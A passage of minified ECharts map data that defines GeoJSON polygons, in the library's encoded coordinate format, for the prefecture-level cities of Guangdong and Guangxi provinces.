ŽƒĀ¯lnĊW¦kVÇôkUDŽUK@ţ™U@a™™ó܃UU»ƒ@™¦k@Vx„KVb„n‚š@„Æ™„l„@xšƒbWšnlU„lxÈlV„ȰƄ@¼™„@x„šWxœŎ‚V„šK°„š¥ššnƒÆkŎ@ÈÑm™„K@¥šk@™ô@„nôV"],encodeOffsets:[[115707,25527]]}},{type:"Feature",id:"4402",properties:{name:"韶关市",cp:[113.7964,24.7028],childNum:8},geometry:{type:"Polygon",coordinates:["@@W™Xk±Ñ@ƒUw™mUwĉwlmn@Æwn£mkIš¥ÇÅ@¥šaƒón£nWWwš£V`Þ@šnVml@xô¼„IV¥ƒkUmkamUkVWwÛ»móƒ£UVÅKmn@x™@kbmm¯a™Xka›VĉaUb݃ƒ²—‚lš„IlxnVVx@„lb@l²™°ƒbV¼lW¦™bUlƒwk@mVVbUxóš™@kƒƒX™ƒ¯lókƒVkš›wVma™nkwƒJÅȃ¦ÇVUbšŽU°„bl°ŽkÈ@x™¦ÆÜ™°@„°„¦óa™VUôlUlbXl@nÜV„„nKlŽnIVÞ°Wš„°U@bnm@¥šIVƒ²Ulƒ°VnalzXyl_Vyƒ¦lƒœLlxš„@ŽÞbšKm„knVWanwƒÑVwČº˜@n_ÞV„aVŽÜIœl@„˜KȚ„VJ@aš£È@˜™@km™„aV¯W@_ƒa¯KmbkÇkLmwƒ@Å¥"],encodeOffsets:[[117147,25549]]}},{type:"Feature",id:"4408",properties:{name:"湛江市",cp:[110.3577,20.9894],childNum:6},geometry:{type:"Polygon",coordinates:["@@@ƒkXƒ™@a„UUċlk„Jƒk„™@wVJXUWk°W@nKnwlUlš²ƒ„blU@‚lI„l@„XbW„šxnm@lW@w„wU‚JX¯VU°`ŎóˋkÝÝkÅ@ÇmğÈřmw™aĵV›xUہ»°™ĠǷnýmóX¥ɅĵҏÇ@°²ĊU˱ĮU¤Ç°™Ā¯ɐnżUĊĊĬV@脎@ԃÒU¼l¤nƒĠb„êVĠ°Èy„zVaV‚nUÆL„ašbVl„wÆ@"],encodeOffsets:[[113040,22416]]}},{type:"Feature",id:"4414",properties:{name:"梅州市",cp:[116.1255,24.1534],childNum:8},geometry:{type:"Polygon",coordinates:["@@„‚nԚlW¼x‚¦@lœVl™lLkè„a@zš¤ƒĖ„¼UxlnUKUbÝlU¼lb@„Vx„V„klJÈwV¯š@ĠlÛ˚nƒbkšÆźÞƒUÈôklmšL„¥‚LœW˜„„™nKUkVa°V„x@IVV@x°bUk„a™a@mV@„@y„w‚L„ÑUwVUšV„‚„U‚bÞVVann‚@XwÇÿš¯²aVamkXaÆ»@»nw@¥›UXaƒkbWa¯KUw@¥m@kwmLU»UU™J@kmU@UUWUƒ@ƒyƒanwmçÛl¯ƒŽ¯UƒmKUmƒwVkmÝXbW@XWÝbƒk¯@±‚w@»U@W¯Å@ƒÇ¥UƒU@ƒƒ™IU™ƒakJƒĀ„ꃰšþƒXkamŽ@Žƒ_J°m‚@X"],encodeOffsets:[[118125,24419]]}},{type:"Feature",id:"4416",properties:{name:"河源市",cp:[114.917,23.9722],childNum:6},geometry:{type:"Polygon",coordinates:["@@°VlmX¹laĢÒlm„@„„šV𣂂@¦Ģklynn¼lW°z„W„„°VbÈV@lÆbnn‚JškX„šVÆašÅ„W@™ƒUUw@ƒkaV»ÞkVaVLkmVwƒ»„ĕ™£@yƒblçkKkš›U@k¥‚wX»™kmӃ@Wn¯‚I„`@nlb„W™ý„¯ƒé„ÿlI@™XUmWUwƒ@@UJU„Ç„mKUV@x™„ţk¯¯LWƒƒnUxK@ű»Vwa¯š@¤WX@ŽÛ¦@¤ÇIȼWxXŽƒ@Wx—w›ŽUnVbÅèmVa±²UWl@Žk„lȄ¤nôܼXxlUnVlbVn„lU¦ƒJó»@wnkmU™‚Ý@U_™¤XxmXm¤„ô™b@¦Èƙ¦lJn"],encodeOffsets:[[117057,25167]]}},{type:"Feature",id:"4412",properties:{name:"肇庆市",cp:[112.1265,23.5822],childNum:7},geometry:{type:"Polygon",coordinates:["@@l@š¥„@V¼„Vôۚš@bšV@ŤVLȃlVÈólUX¥mĉ°k„ÿU°@„ƒÞKl™ÿ°KU™„UW»Èw@aƒšw@ƒ„@nm@w›£kÓVUVn„Kš™k¥™£Vamƒ@nkKkbÆǫma—kmLU¥™UmƒÛwmVU™mUƒJ—ÇaUxÇIn`mb@Þ¯b@„nJ@nl„U‚V„lVU„L›W¯—Û`Ç_¯`mš¯I™bĉWċzx±J™x𐝯Uƒƒ_k@™šƒJ@Umb„šXôlLš˜n¦@¼ĊxlUXŽ˜xUbL‚Ġ„UnVĊwlšUš„b@lW„X„‚m²˜@ÞWxXš‚Unb"],encodeOffsets:[[114627,24818]]}},{type:"Feature",id:"4413",properties:{name:"惠州市",cp:[114.6204,23.1647],childNum:4},geometry:{type:"Polygon",coordinates:["@@lbšW°bnnlaš@@wnmÆLVUkÇlƒ@Xk‚V²±‚bnUÆçUaVmœ˜xXw„@WXwÇ»ÈJ@£Ü¥@XW@£°™‚bUx²¼@ƂLVw„mX„°K°Ťlšƒ@wVUnLȃVƒVIky±wkƒKU¯ƒÅkƒ™XġÑۃlwUwlm@m„nKWašÅm›¯óÇmğb¯alĉUwķbmb@lÞÒVn—šmĀŹ@VŽƒbVŽUnmakLm`@xĉkklVÔVJVn—lV„UnmJmaLUbl‚™zmŽkL™a™‚ō@@zš‚V¦UŽV²kJ„nÜU@˜VXUށL@„lJƒL@bݤUnVŽ—b@xVnlK²„Vx°V„xlI„lkVl²k¤@n"],encodeOffsets:[[116776,24492]]}},{type:"Feature",id:"4409",properties:{name:"茂名市",cp:[111.0059,22.0221],childNum:5},geometry:{type:"Polygon",coordinates:["@@‚LnÇlk„KnkÆL„ƒUm™ÈxlUœJló°n@ššanŽš„„a@ƒ˜@X_@mÝóóU@a™aU¯mL¯ƒƒkV¯™ÇVwkw@V±Ŏ£@™™@šalw±Vk@m„Åm¯™ÿŃƧIÇ`ōô¯_UVW°IV‚ƒx@xkX@Žmn™wXƒWa@ƒƒkkJ@kVƒa±„k™kVmxmL@‚¯XXlWVUI@xƒš„lƒIklVȃV@b„šlW@„@nUxVblVxkôlx™n„‚y„šnIƻư„aXwlK„bVnƒŽXb‚L„¤„k‚L—èƒVV¼ƒŽ²IlĠVX„ynz°KVx°@VlœLlblKœš"],encodeOffsets:[[113761,23237]]}},{type:"Feature",id:"4407",properties:{name:"江门市",cp:[112.6318,22.1484],childNum:5},geometry:{type:"Polygon",coordinates:["@@lUXx°JWnnƚXVš„W„X@„šºVLV¯nU‚Vnb™ô„x‚aXmW™XIšŽUb°xlK„l¯œK˜xXÞ°ŽšXÈ¥Ü@„ĉޏU™‚çš»nóƒVma—x‚¯UÅU¥Ý¯@ƒƒç@ș@çĉÅUmU籃ĉKÝxÝ_ÅJƒk¯»ó¯nmèkǀšŽWxœ¼mnUÜġ°@¦@ƒxƒLkŽÇaVnUxV„™šVlnIlbnÆÆKX¦"],encodeOffsets:[[114852,22928]]}},{type:"Feature",id:"4417",properties:{name:"阳江市",cp:[111.8298,22.0715],childNum:4},geometry:{type:"Polygon",coordinates:["@@°„nKV°šb@bôVÞô@n„VlÒôÆUnlnn@lmkmVkƒaÈkÆÆ„™k¥‚ÅÞ»ÆKXkW¥ÅLmÅkamJUkš™UƒVwUmÈbl„K„w‚@@¥Ģ¯VÛnm›»Xw™lƿ™@kbW™—aʵ@óL›l¯ƽ@™ƒƒLn°ƒÆ@nUl‚²kx™b@‚š@šō¤U²@ŽlxUxšÈU°lŽ„"],encodeOffsets:[[114053,22782]]}},{type:"Feature",id:"4453",properties:{name:"云浮市",cp:[111.7859,22.8516],childNum:5},geometry:{type:"Polygon",coordinates:["@@@V„Iš™l@„`V„°Å™šw²I‚wČyĊXša°Jn™°_È`Ü_°˜œX‚KVƒkUUƒVkƒ@mmI@ƒ°a@Ýnam_ÈJVwlĉX@„šlUšómaUmVU°UK™¹@ƒƒWƒXU™™WmÅXm¯IWwkVWlÅLݼÆl¦ƒšÅÅÇl„bUllnknm@kmVmóÅkуUW`—@@„ƒb™ƒm™b@™¯mkô›IkVÇwnš„VƒÅKmlƒLklmȁKƒšVĊK°²„`n˜¤n„U„bWl„xVx™LUx@°nXm`VklVxmnnx"],encodeOffsets:[[114053,23873]]}},{type:"Feature",id:"4401",properties:{name:"广州市",cp:[113.5107,23.2196],childNum:13},geometry:{type:"Polygon",coordinates:["@@Ș¼VxUnĊ¤@z„@šÆ@nÈW°ÈV˜w„ŽUÞVxÞX@ŽšK„šl@ބVaĊbœU@ml£k±lUƒkkJƒw¯UUw±ƒkLUm@w˜aUVmÞ£@a„KkI@ƒ‚KVUW@—ÛVƒmlIU±VU¥™@yğzƧǃƒšƽĠřšÅnī±m@ƒ²¯lƒ°@nÝÆóUll@XnÝVU¦mVV°—„V¼™Jƒn„b@°mbn„ƒ‚@²¯‚¯wVwƒ@@nmxX¤¯L@ŽVLU„m@@l"],encodeOffsets:[[115673,24019]]}},{type:"Feature",id:"4415",properties:{name:"汕尾市",cp:[115.5762,23.0438],childNum:4},geometry:{type:"Polygon",coordinates:["@@@‚„@VxnXWV@š„bVššJ„„V@ÞÅU¥Ċxš£UWU‚wÅUU¥WVUkĊÇnkV`°LV™„wƒƒnU@™„ƒlbĊ¯„Vnalšš@@çkUÝ¥ġaó¯ÅaÅLŻÆUýmy¯ó@ĉÆó„ȯw™ÆXbmLƒ‚@nknVxkx܄ĢҚW„Æl„V°„Ll‚²xlz"],encodeOffsets:[[118193,23806]]}},{type:"Feature",id:"4452",properties:{name:"揭阳市",cp:[116.1255,23.313],childNum:5},geometry:{type:"Polygon",coordinates:["@@V„Ȧ„Æ@X°V@@¼‚x²°@„lÞaWXX@‚aÞWlnUŽ„xVnnL„‚°V„@k‚mĢl@„ak™@mlk°aXƒ±„nwm±™²¯JV²@ƒwW˜—_mƒa„V»ƒU@m¯ĉUф™šJl™„ašbVn„lĸLlƅÛDZwÝ@ĉxó@è™@k™mbƒUĉ°kaƒ„@šmV„„ƒxUš¯KU_mlĉÈVlXUV¦ÆVxVŽVX™¤ĉwV¦ÝÆ"],encodeOffsets:[[118384,24036]]}},{type:"Feature",id:"4404",properties:{name:"珠海市",cp:[113.7305,22.1155],childNum:1},geometry:{type:"Polygon",coordinates:["@@„è@„Þ°V¦VƁ°˜wnb„UÆ»nçÆ@nxܤ²llU°VnÈJސ°UôéšķUklƒô£VVˌKÞV°£n¥ƒ£ȗ™Ýy¯¯mÅkw¯bÇĔğ@Ýn¯ĊƒVğōŁŻƒķJ@Ț","@@X¯kmèVbnJ‚™"],encodeOffsets:[[115774,22602],[116325,22697]]}},{type:"Feature",id:"4406",properties:{name:"佛山市",cp:[112.8955,23.1097],childNum:1},geometry:{type:"Polygon",coordinates:["@@Èb˜Ž„InVVšnUÜxn„šVV¦nK˜lnbÅǬlalL@mn„Ubš¤l¦™šƒLUmUVlԜ¤@xmnVl°_XVVmƒkVmș@kn@VƒUK@°KW£nw@m„@Ux°x°@±„mƒna@¯ƒa„mšIU»˜ƒU¯nUV¥ÞUWmk@Vk¯™Ukn›ÑWݐƒĊÛ@Ǧ™W¯Wݗw›Lk°ƒkL¯wVa™WJXšWnbƒwkVƒ™W@kĊ"],encodeOffsets:[[115088,23316]]}},{type:"Feature",id:"4451",properties:{name:"潮州市",cp:[116.7847,23.8293],childNum:3},geometry:{type:"Polygon",coordinates:["@@°ŽÜknèmx„b„z„@V‚VX@VnV@lšIVVV¼nKlxn@@¦Vx°LXbla„ŽWbœV°£¯™W@nW@™‚aUñVœwWš»@¥ŤÅUÝǓÝóV@ńǎkUVmƒIUwÅVWÇX¹›—@W„¯bkl@nlšƒb@‚kġށn@l"],encodeOffsets:[[119161,24306]]}},{type:"Feature",id:"4405",properties:{name:"汕头市",cp:[117.1692,23.3405],childNum:2},geometry:{type:"Polygon",coordinates:["@@‚@U±°Iš±n²mx²ƒ˜@œWºXÈÆUVx„JUnlVȍ@ŃôUǔÞVçn»VyĢÛVm@»kaÝUǼóšÛÈķKċ¥X„¥Wwğk™ƒ¯@ƒwķKƒkUm™aƒbkš™IƒšVÒ°Ċ@n„VU¼ƒ‚„bn˜`X—„x"],encodeOffsets:[[119251,24059]]}},{type:"Feature",id:"4403",properties:{name:"深圳市",cp:[114.5435,22.5439],childNum:1},geometry:{type:"Polygon",coordinates:["@@ÞLš„@xšbV„šVšK°™X°Kô¥Vw@anU„胐š‚lkĊl@wn_lKnbVmU„aUź@nÿ˜™UmÝѯUƒbk„@ÆkxŻ@™aÇX—wƒJƒƒ¯LķÝUĕ™ó™ĸóêWº@b²nmĬ™Æ"],encodeOffsets:[[116404,23265]]}},{type:"Feature",id:"4419",properties:{name:"东莞市",cp:[113.8953,22.901],childNum:1},geometry:{type:"Polygon",coordinates:["@@Ŏ@ššblKnšykVa‚KnbnIVmUƒ˜kUmUIUә„ƒçmV@bUxó¦¯LW‚¯š™L™UUƒ™a@w™ƒÝKğŚ™ƾ„„ƨÈĠy"],encodeOffsets:[[116573,23670]]}},{type:"Feature",id:"4420",properties:{name:"中山市",cp:[113.4229,22.478],childNum:1},geometry:{type:"Polygon",coordinates:["@@‚XœÒlmšV°ôÞÅ@m„¯°k„±‚@@aX¹¯VݏÇIUmV¯kk‚±Û£mw@‚Őmèżmô™¼èVš"],encodeOffsets:[[115887,23209]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/guang_xi_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4510",properties:{name:"百色市",cp:[106.6003,23.9227],childNum:12},geometry:{type:"Polygon",coordinates:["@@lklWXL@VšI‚l@XnJn@VUUalk@mK@kny@UlU@a°™„ƒUU@VmaU@Ua@UWw@ƒn@KmLm@alkšmnI‚m@an@VIUamWÅImwU@@a@K„X@JVL„UVmUaVkUa@m„@@Ulmkk°ƒUaVUlKXbVwVIkaVmUk@KVk@a„aW¯m@w„¥laœX@KmaškVmnUl@nxVKšInU@yVaVIV@na°KlxX@@_lmXšUV`VIV™V@„n@lšbn@@WUkValK@²yl@„„VUV@@K°L@KU@@UVaXIVVV@naVkVa@K@UUK@UUa™LWa—w@m@K@UVVƒ@mVUUVKnL„mVL„K‚bVK@UUIk›mI@mUIVK@IUK@VkLƒ@WU@mU@WmUk@ƒI@VƒJk@WwX_@amK@UUWkIƒ„ƒK@LVb@mVmakL@J@bU@Ux@xƒbmI@`ƒIwm@UbmKUaUWa¯UkJWV@XƒJUU¯LUmV@ma@kkamKwƒLUUmWVkkm@aVUUkVKnVVUmXK@UW@km@Ukkm@@W@U™kUy@I@aUUmbƒ¤U@kUmL@bmJU@Ua@wkLWWkL@Uƒ@VaU@ƒLUakKWbkUWVkKkLVLUV@JVbƒz@Vƒ„@ƒVmUU@kVmK¯@VƒU_™VWakVmIUKUaU@@bml@XU@@V@LmKUV„mVUKƒƒKƒbkaUXƒKUL@x@V@l@„mxU¦„V@ŽlL@V@Ln@@VV@„nlKUaV@nLUbmJnL@VWLkbmV„@@L„W‚„XLlx„VVIVV@x@V²blUVm„LVUœK@kWWXUlV@Xl`„LX„l@@VšŽƒn@VnbVš@lVUVUÈVbš@@`UXU`l@@XUVm@kš@xmVknUJVXUbmKULmbx@VlJ@LVbkKUbVLÇUUVƒUVmU@VaUkUKƒVUwmLkUUVVlƒbka™XmwƒKUšVVU@@V±Uk@VWUUm»XamU™bƒKk™`ƒ„™U@UnWW_kKmbUVUVmnUV@„nJVUlšUbU@UV@n@JmI@VmbnVUXlx¯ŽkKmnVV@L@V™bkV™Umm™@Ub¯LmlUƒL@VWLkmkLmmn£WmnKU_mW™š™bnbmxƒ@U¦UJU„@Xmlk¦@‚mnUUm@@Jn@lV„ÔVJnIVW„I@a„ƒÆK@I@aVK„IlŽÞnnl@nl`nbÆX²l@xV„@llbVn²ŽVVl@nn„V@IlW@Un@@kVa°KšnÈmVaVXUlaVƒÈU„VlwôUlynIVašan@lVXb‚Iš@n¥la@Kš_n‚@bÆx@XnJV„nKVz@`VXVšU`@bƒ¦UV@VšIlx„UnV‚K„XÈbšVllšbVbnVn@"],encodeOffsets:[[109126,25684]]}},{type:"Feature",id:"4512",properties:{name:"河池市",cp:[107.8638,24.5819],childNum:11},geometry:{type:"Polygon",coordinates:["@@lLVl„bVV@nXVlI@JVX„mšn„W°b„IVV@‚ln„@nalVUb„nW‚@kVkÒlbVKn²°bUŽlV²@˜X@`nb„aUI@ƒ°wlU@aXJVI@aVK@wUamIXm‚@XUV@@bV@Vm„ImnUUwVaVKXU‚nVK@akƒVwV@nL@UV`n@@X‚lnIUJl@X¦˜V@aUIVm@anƒV@UwnL@VlbVL@KVVXUWƒ„wUUVUka@UVJnUlbnalbVVn@°„„LV`Þ@šXVxV@@bVlUVVbXnWlXnmlš@XXWVXJmbUI@V„llUVkn@@VWV@Vnb„@VXUJVnn`lLVk„a„»lVšLnw@WV@lInw@WnU@U@m‚knUVó„K‚wUmUXUƒU@@wVJVIl@XKVVVbVI„J@Un@lŽVLnm„b@U@Ul@nUš°VUVJnnVJV@„@mVU@ƒ@wkUVwkKWk™yUUkU@alkÈ@lJ@x„Ilƒ@UUWVkUw@Kn@@kmaƒVUl™UUL™ÇƒUUKl@UUmL@aXU@mlUUwmKkUUVKVUƒaƒKUnK@U@Vl@XUWU„KlwX@šb@K‚@XkV@UwWJka@aUwmV@U™@@U@wUm@»kLWVkIWŽXnmV@VkbmKƒLUbk™Va@aƒa@@aVU@aVak£@ƒ±UkVU¯V™UUƒJVƒUIƒ@kxmUmWUbL›w@K@aU@@aVU@Kma@aka@_VWkk@UWVUKULWKULUš@KUnƒwVaUKƒxU@UmaƒL—m@kVmVa@UkƒmI@ƒ@KmIkxU@@K™U@mmakI@VƒLkmWkkJ™_U‚@V@L@n˜xXbšKVb@VVL@V@LUbUlmbU@UUWJUb@VV@@L¯K@LU@UVƒƒk@±z@‚kLUbVl@Xm@™akm@ƒU@UšUJU_™VWŽkn@`W@kw¯LmbU@UJUb@zmV™JULmwk@mVUn™lnb@L›Wkbƒ¦@x°nXŽƒb@bUl@LVlUnlbUJUxWakLUVVb¯„llkn@Vƒ@@nVbUlVbUnƒVUK@IƒW@L@bV@nxÆJnXVbUJm@@bnmJ™nkl@b‚nnK@L„m‚@Xx@VVbV@nb@UVVƒ„¯š@bkV@Vmz@lnLl@kŽVbUVm@mI@Wk™J@UWKkXkl"],encodeOffsets:[[109126,25684]]}},{type:"Feature",id:"4503",properties:{name:"桂林市",cp:[110.5554,25.318],childNum:13},geometry:{type:"Polygon",coordinates:["@@nU@J‚X@`XLm¦Vb`lšVXXWš@VblČnVšŽlanLnmVLšK@_Vaƒ¥@kUa„@VmVb„aV@XVVzlVVK@knKVmX£VKšLlbnš@b@llL@xĊôXaV@°È@¤„bn„V@@Wl_„V„U@W„nVamw„wVbn@„K‚VšLX@VmVUxlV@šnVV_nK@m‚I@Wn@@IšUĊ@@wVWX@@I°VVm@wmU@m@IUƒV™kƒlkUmmkÅV@@aV@@Wn_UKla@kšaV„šlVanb@k„@@KlVn@@aV@nIWW™UUaVU@™kKmwU@UImKk@UU@w@W@‚™k@™UkWƒ@mk_W@Ua@a™ƒƒ@—¯ƒmV£@mƒUUam@—kWakƒVama@UUm@nw@alaUmnUlVlIœV‚™šLVyk£Vm@k@UUJkƒK@kmKUw™KkWK@UXImyVwnI@m‚ƒkUlkUKkUVmƒw@kkJWUÈm@_k@@aƒaW@U„UJUwU@@IWKkƒmUUV@nVl@bVb@bU‚UXƒakw@ƒWUkbkKƒbm@™xUlkLm@@wmKUX@‚™UaVW™XVmU@@UUUƒxkmWXkKkUWaUaUb™L@`UL@LV`UXmK@VmakLVbkL‚xUJUIVbUVVb¯KƒV@Xnl@lVXbmÒnV@L@VWKkVUIWJkIƒŽUamUUbm@U„kU@JUbW@X„WxUam@kbVVUnUJmUUV@bƒU@UUV™@ƒVk@ƒbƒmULV¦U@V„U`VLUL@xVbn@UJ@nWJXXVŽVV@bkxVbUx‚Lšš@x„¦@šU‚lXUVVlULV@@šnŽU„ƒb@xl„nJVnlVknUlVUbmŽU@ƒbVš„x"],encodeOffsets:[[112399,26500]]}},{type:"Feature",id:"4501",properties:{name:"南宁市",cp:[108.479,23.1152],childNum:7},geometry:{type:"Polygon",coordinates:["@@lKnbnU‚@Ua@K„L„ƒlJVX@VnL@bW`Xxl@„I@U„Jl@nV@X‚V@nXV„@lK@UVL@JULVJ@nnJlœVJ@VULaƒLUKƒnmKULVVUŽ@nU„š`lIXlln„K@UlJnb@nšV@LV@lwnJ@L@„nJl„@VUbUn@l˜n„KnbVŽV@„wVLUb„xVm@LV™VKXLVKVLXU@VllUX@`lb@bnb‚L@ŽUV@bV@@b@Lœx‚KVanXVƒUUmVUUUaVUky‚UUa„ImK@mUUVUkKU_@W@UVVVIUW„UVaVU@UUKnƒ@k@al@ll@bnL@b„VUV˜X@Vœ@@b‚Knblmn@V_@aUalL@a@akK@kVKUKlwUUnV¥VmU_VWVIVaX@Va„alńK@LVJnalL@LnK„wlVUw‚mX@VXšƒlLUVnblaUmVUVwXU@Wm¯Va@ÞKnw@w™mšk„»‚UVW²a@_mW@U@I„y„LVUUKW@@™„LX@VUV@@yVU@UV@nwUUmJka@IU@ƒmƒVkaW@UwUX@`ƒ@kLWUk@mƒkUUm@k‚UUWkUƒkWxk@@VƒK@nV@UVaƒUUJmIkVƒ@UamLUbkVmamLka™@ƒ‚kmL¯WI@wJmwƒx@akU@aUKmbkaW_nW@_U@Wm@a@wkwUKmƒk@ƒbkb›w@mKUkkU@J@bW@kVWz@bVUa›VUx@„ULkJWbXVVXƒ`@œmJUVU@@Lk@WbU@UJlnXlm„Vx@Ln@‚b@K„LX„WJUUW@kƒaUVUbmV@nnV@n@lVLƒVmLX‚mXkV±@kxÅL›šUbJWIÅJ@I‚mXalkUamKkškL±aVwKƒUU@mÞnbWJX„m„@lbmKULWUUVkaƒbnn@Vl@VVV@VƒbVbnLWLXJWxXLV@@VV"],encodeOffsets:[[109958,23806]]}},{type:"Feature",id:"4502",properties:{name:"柳州市",cp:[109.3799,24.9774],childNum:7},geometry:{type:"Polygon",coordinates:["@@ƒwU™„aV@nVaUVklmkUUmmIkƒ@w„aVƒm@™U@VKUkVUkWV@™ƒ¥@w™™KVwUalw@aUUUWWXI@mVIm@Ua@wVKUKV_UƒV@U¥VK„n„al@„Uš@VU@V„V@aVUnVVIVmUUlan@VbXwWƒX@Va@IlVVƒn@VanVVb„lJXIVJlUXL@U@KmUnÑWakU@mkƒJUI@mk™@wUmmUV@JXaWIXWmaUIƒJƒkk@W„nJ@„ƒaUak@›kkJ@kUKU_ƒ@myUóWUkm¥kUmL@KUKm@k_UmVa@ƒk@@UmU@mm_—JWIUVUŽWLUlbVUJÇVUIVwƒKUVk@mU@n@lUL@Km@@l@L™VƒzJmUU¤m@UbV²U`U@@¼Vn@x@Vš@@VnUVx@blbXIVxU@Wl@@L™aW@kxƒLXVWVk@@U@VmLVŽ„L„bUVULVV‚lnLVxkV@nWV@bnKVVk@VL„VšÈVKšVVk„Unb@lm@@LVxUlVX@Vk„ƒJ@wkIÇ@kl@blVVVšzXllLUxlV@x@„UV@nƒ‚U@UImmUIUV™¯mVk@@V@VƒamnUKkm@@VƒIUJUaUUWLk@UJUI@xV@V„VWVnxƒLUômVV„@VkVVVUnV@UVkL@VVV@bVxla@bkXVJVn„`nU@bƒb@bVL@VnJ@„l@šV„aU@@_lW@UUU@Unƒlll@XLl@@UX@°bVWVanLlknVV@VVX@VVƒnUŽVLmbXJ@nllXX@`VXƒlmaXVWk@Wkƒw—J@„VL@J‚bnU@bn@@bVKUnVJVIVVVL²a@bV@@Vl@nUVakalmš„UL@VUL@V‚a@mXl@nK@UlK„L@Vl@@nkllb@š„Vnn@‚šnV„™V°l„šVInwlKXxlU°Žn@@ƒ‚I@UnVlakUJWkUK@anUWK@_ÞJ@U"],encodeOffsets:[[112399,26500]]}},{type:"Feature",id:"4514",properties:{name:"崇左市",cp:[107.3364,22.4725],childNum:7},geometry:{type:"Polygon",coordinates:["@@@JVzšl@V@Xn@ll@VlnX@@VWLnŽUVmUULVlUV@blnUlnXVV„K‚xnLlb@lnbU@Vn°KVV„I@WXUlI°VXb‚VVbnLVan@‚x„J@_nJ„a@wVwV@@a@IU@UU@WKXwWIXKmKUa„a@U‚UUUk@@Umm„albVUXVVKnL‚a@knƒWƒXImanÝV@„V‚LUx²blKl™nLVbklWbn@JÆIXJ‚IVaœ™ÆKlw²@lUnWWnK„UUK@k@mmU@mnUVaVU„b@lVXVXIWƒƒK@Lam@@KUwnƒWkkmVIV@Xal@@KV@VUnI@›„_UWWUkam@kkm@ka@mƒk@wkJWIUU@WXkW™XkWWLUUƒ@UakLƒW™XV±VIVWUU@anUWaUK@IU@Vak@@UUKWaƒ@m@ak@@wUkla@mUaUklakwVƒ¯¯@WWUkLkKmaƒ™kLUnV`UxWX@Jkn@bmlƒakkk@ƒb@l¯bm„ƒbJ›b@VXn„bVV@„ƒbƒJUkkKWVU@mœÛVUUW@UVUJWXkVkKmUL@WW@U„Vl@XXKW„XJ@XVlmbUxnnm@UlVnV@XVm¦VJb@šmLkKÇbXblVkn@l@bWnX`V@@IVV@ŽV„V°n@@_naÆVVbUVVbUJnzlVUl‚XkV@Vlx@X„VnxƒbƒKUK@b¯VVUV™L"],encodeOffsets:[[109227,23440]]}},{type:"Feature",id:"4513",properties:{name:"来宾市",cp:[109.7095,23.8403],childNum:6},geometry:{type:"Polygon",coordinates:["@@nVlw„@VJU„„IVVUšV°lU²V@„l¤Ub@bUV@b‚@„b@bUblšVa„KnLla@UnUWmXlJXUlKV@V_U±Van@V£nV‚I„yšU@K@kn@@LVK@k@mnVl@VU„LUxVJÈUVIU‚aVkXKVVUXJ˜In`@nnV@Vl@@„UbVnl`n@VL@LnKlVn¦VlôXV‚nz„@V`VL@llIœll@Vb„b@ƒmIXƒl@„l„IVJnbWXXJWb@IU‚nVVn@xlš@nVJ„I@W„U°LUaVUUaVJVIwlKUalKnb@UnLVWU_@KVK@_šKVa„@VKU¯VLVKn@la„aUkU@maVU„J@k™@Um@XmbkyVaUIUU@KV@laVn@KXKWUkUk@ƒaW™UUVw@aXKmƒVaUUkšmIƒlUU@wUa™xUmmU™¯™U@WƒLUmVIUym@UVmUa@wmw@çm@aWLU„™JUIUamKmL@™aƒx¯¥ƒkU¥U@±„k„UVmKU_mJUbkKm„ƒLÅǙ_@WWUXUmaVUkK™„UWW@nVxkUƒxmL@KkKmbUI@KƒLkƃbUbW@UbUJUXV`UnU¦mŽVVkxVLUL@llL@b@bkKVb@bU`m@knmaL@a›@@U—WVUƒU@amK@akkk@@b@lm„VL@VUVUbƒVVXUJUU@V@XV`lLUVVV@nnLƒJVbVlzUVVbVVnUVVU„"],encodeOffsets:[[111083,24599]]}},{type:"Feature",id:"4509",properties:{name:"玉林市",cp:[110.2148,22.3792],childNum:6},geometry:{type:"Polygon",coordinates:["@@VJUXVVXlWX@V™xVnX@@`ššULWŽUXÅbWK@mULUUmJ@n¯b@l@VULVx„x‚XU`VXXJVI„V@nm`@nUŽVXn@lWVn@b@Jn@nU@Lm`@Xn@WJƒ¦U@@VnL„lV@@Xl`nIlJnkVL„w@KVK@UšaVL@bVKX™lUUKVK@I„VšL„a@U@WšLUlVL@bU@@blb@VlbUxVbXUVJ@xVL„U„lV@VU„bVLnKl„XJ@L‚b@an@VanL@`VLšKV_UWl@U_„a@WVInlVUUUVm@I@W@wVakIWm@U@ƒXwlaVbnI@ƒm»Va@aXaVLšU„»@aVa@k™KkL@KmU@WƒzUK@wU@VWUUVUUKUa@mKmbUK@_nWVaUkVaUaVUVLXKVƒVUVmVI@UkKkLm`UkW@UwWW_„UaU@WakXmK@xUXƒJkƒUUWUk@Wl—mJ@km@@aUKzmyVk„a@kkWVUU¯lmU@@w‚kkmV@Vk@mÅIƒ‚Ukƒaƒ@Ub@m@UUU`mUbWaWmb™X™XKWIXUWm@љ@y@UkIUJUUWLUWƒL@UkVUxW@kaWbKWnXxW¦n„m`XLVlUbVbUx™I@JmLUKUb@VW@@bkL@b@VlU@xkš@L@lƒxXxWXX°V@VVVbUVV@UVVbULVnVJUb²b‚aUb@VVVVInlV@VnXaVUšlI„VUb"],encodeOffsets:[[112478,22872]]}},{type:"Feature",id:"4504",properties:{name:"梧州市",cp:[110.9949,23.5052],childNum:6},geometry:{type:"Polygon",coordinates:["@@VbXblVlLXWln„wVV@VV@UnšWUXVbš‚@VWXa@kVK„UaVaVkšUlyX@Vaƒ—VmUwUaVU@UÈymI@aU°@š™nWV@VaVaw@IV@VmnLVK@kmmna@™„™VbVI@aV@XbW`U„„LUVVx„@VbUV@bl@VLXblJn¦lL„°°@n™@K@UlLnK„a°LWbnJ„¦UÒV„UllLlVnKnbWnn„V`„w‚@@Xa±™n™l@XKV_„WVkVa@kVyUa@wU£UW@UIVW‚@@a—wWaX_WKkVmUULmak@UJUI@±m»™—k@m»VyUIm™nmmwnkUmVaVIUn_mW@»Vk„@VwkmmUXa@IƒaVm—mƒ@Wm_U@mIUWóLmUk@laXmmkUK@UmKULUUmWULƒ@VakU™@Ub@bƒ¼™VUKWb@bUbn¼@„mJUakbWx@„@VXnlJUb@x@X@JUnVVUVmkUJ@XƒbV`k@VXU`™LUK@_mKUbm@@b@„U`@nlV@b„UnbVbn@@`VbUbVV¯bm@@mJXb@bVnUllVXUlbUl@LU¦VVmŽkLVb@b™l@V@XlK@V@nUJUz„°mށwmLmlXbWVU@UUUlƒIU@VVmV@@¦‚bXbWxX„WlXVWL@LUmkbU@@LVVVJUblzna@WVnš@@lƒIUVnbV@Vlƒbkbm@ULUKV°ULƒ@"],encodeOffsets:[[1